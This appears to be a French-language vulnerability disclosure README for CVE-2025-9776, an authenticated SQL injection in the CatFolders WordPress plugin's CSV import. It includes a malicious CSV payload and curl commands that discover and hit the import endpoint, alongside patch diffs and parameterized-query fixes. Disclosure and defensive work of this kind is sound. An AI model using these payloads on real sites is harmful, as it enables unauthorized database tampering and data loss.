snailsploit/cve-2025-9776CVE-2025-9776 — Plugin WordPress CatFolders : Injection SQL authentifiée via l'import CSV | POC + Procédure pas à pas
Mots-clés : CVE-2025-9776, vulnérabilité WordPress CatFolders, injection SQL WordPress, injection SQL authentifiée, sécurité WordPress, vulnérabilité d'import CSV, exploit de plugin WordPress, CWE-89, attaque de base de données WordPress, vulnérabilité de médiathèque, WordPress CVE 2025
Une vulnérabilité d'injection SQL authentifiée a été découverte dans le plugin WordPress CatFolders, permettant aux utilisateurs de niveau Auteur de manipuler des requêtes de base de données via des importations CSV malveillantes.
Découvert par : Kai Aizen (SnailSploit)
Publié : 2025
Score CVSS : 6.5 (Moyen)
CWE : CWE-89 - Injection SQL
CatFolders – Tame Your WordPress Media Library by Category contient une vulnérabilité d'injection SQL authentifiée dans la fonctionnalité d'import CSV. La colonne attachments d'un CSV fourni par l'utilisateur est divisée en une liste et passée directement à FolderModel::set_attachments(), qui concatène ces valeurs dans des clauses IN (...) SQL brutes sans échappement ni paramétrage appropriés.
Cette vulnérabilité permet à des attaquants authentifiés disposant de privilèges de niveau Auteur de :
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
| Métrique | Valeur |
|---|---|
| Vecteur d'attaque | Réseau (AV:N) |
| Complexité d'attaque | Faible (AC:L) |
| Privilèges requis | Faible (PR:L) - Auteur+ |
| Interaction utilisateur | Aucune (UI:N) |
| Périmètre | Inchangé (S:U) |
| Confidentialité | Aucune (C:N) |
| Intégrité | Faible (I:L) |
| Disponibilité | Faible (A:L) |
La vulnérabilité existe dans le flux d'import CSV :
Fichier : includes/Rest/Controllers/ImportController.php
import_csv analyse le CSV téléchargé sans échappement par champrestore_folders() appelle :FolderModel::set_attachments(
$new_folder['id'],
explode(',', $folder['attachments']),
false
);
Fichier : includes/Models/FolderModel.php
set_attachments() construit une requête SQL brute par concaténation de chaînes :'raw' => 'post_id IN (' . $attachmentIds . ')'
Un attaquant disposant de privilèges de niveau Auteur (capacité upload_files) peut injecter du SQL malveillant via le point de terminaison d'import CSV :
Charge utile CSV malveillante :
id,name,attachments
1,Test Folder,"1) OR 1=1--"
Requête vulnérable résultante :
SELECT folder_id FROM wp_catf_folder_posts
WHERE post_id IN (1) OR 1=1--)
Cela sort de la clause IN(...) et modifie la sémantique de la requête, affectant potentiellement toutes les lignes.
curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'
Résultat typique : /catf/v1/import-csv
Créez un fichier nommé catf_inject.csv :
id,name,attachments
1,Malicious Folder,"1) OR 1=1--"
NS="/catf/v1" # Remplacer par l'espace de noms découvert
curl -i \
-u 'author_user:APPLICATION_PASSWORD' \
-F "file=@catf_inject.csv;type=text/csv" \
-X POST "https://target.site/wp-json${NS}/import-csv"
Réponse attendue :
{ "success": true }
Le serveur construit et exécute :
SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)
Cela peut effectuer des opérations DELETE/INSERT plus larges que prévu, effaçant souvent les relations dossier-pièce jointe sur l'ensemble de la base de données.
Exécutez la simulation SQLite autonome pour observer la vulnérabilité en toute sécurité :
python3 poc/catfolders_sql_poc.py
Ceci affiche la requête vulnérable et montre comment un jeton malveillant renvoie toutes les lignes, tandis qu'une version paramétrée le rejette correctement.
Action immédiate requise :
Deux étapes minimales de durcissement :
- FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
+ $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
+ if ( ! empty( $ids ) ) {
+ FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
+ }
set_attachments() $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
+ $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );
Remplacez toutes les concaténations SQL brutes par des requêtes paramétrées utilisant $wpdb->prepare() de WordPress :
$placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
$query = $wpdb->prepare(
"SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
...$imgIds
);
En outre :
Un correctif complet est disponible dans patch/catfolders_fix.patch
CVE-2025-9776/
├── README.md # Ce fichier
├── poc/
│ ├── catf_inject.csv # Charge utile CSV malveillante
│ └── catfolders_sql_poc.py # Simulation SQLite sécurisée
└── patch/
└── catfolders_fix.patch # Correctifs recommandés
## Chronologie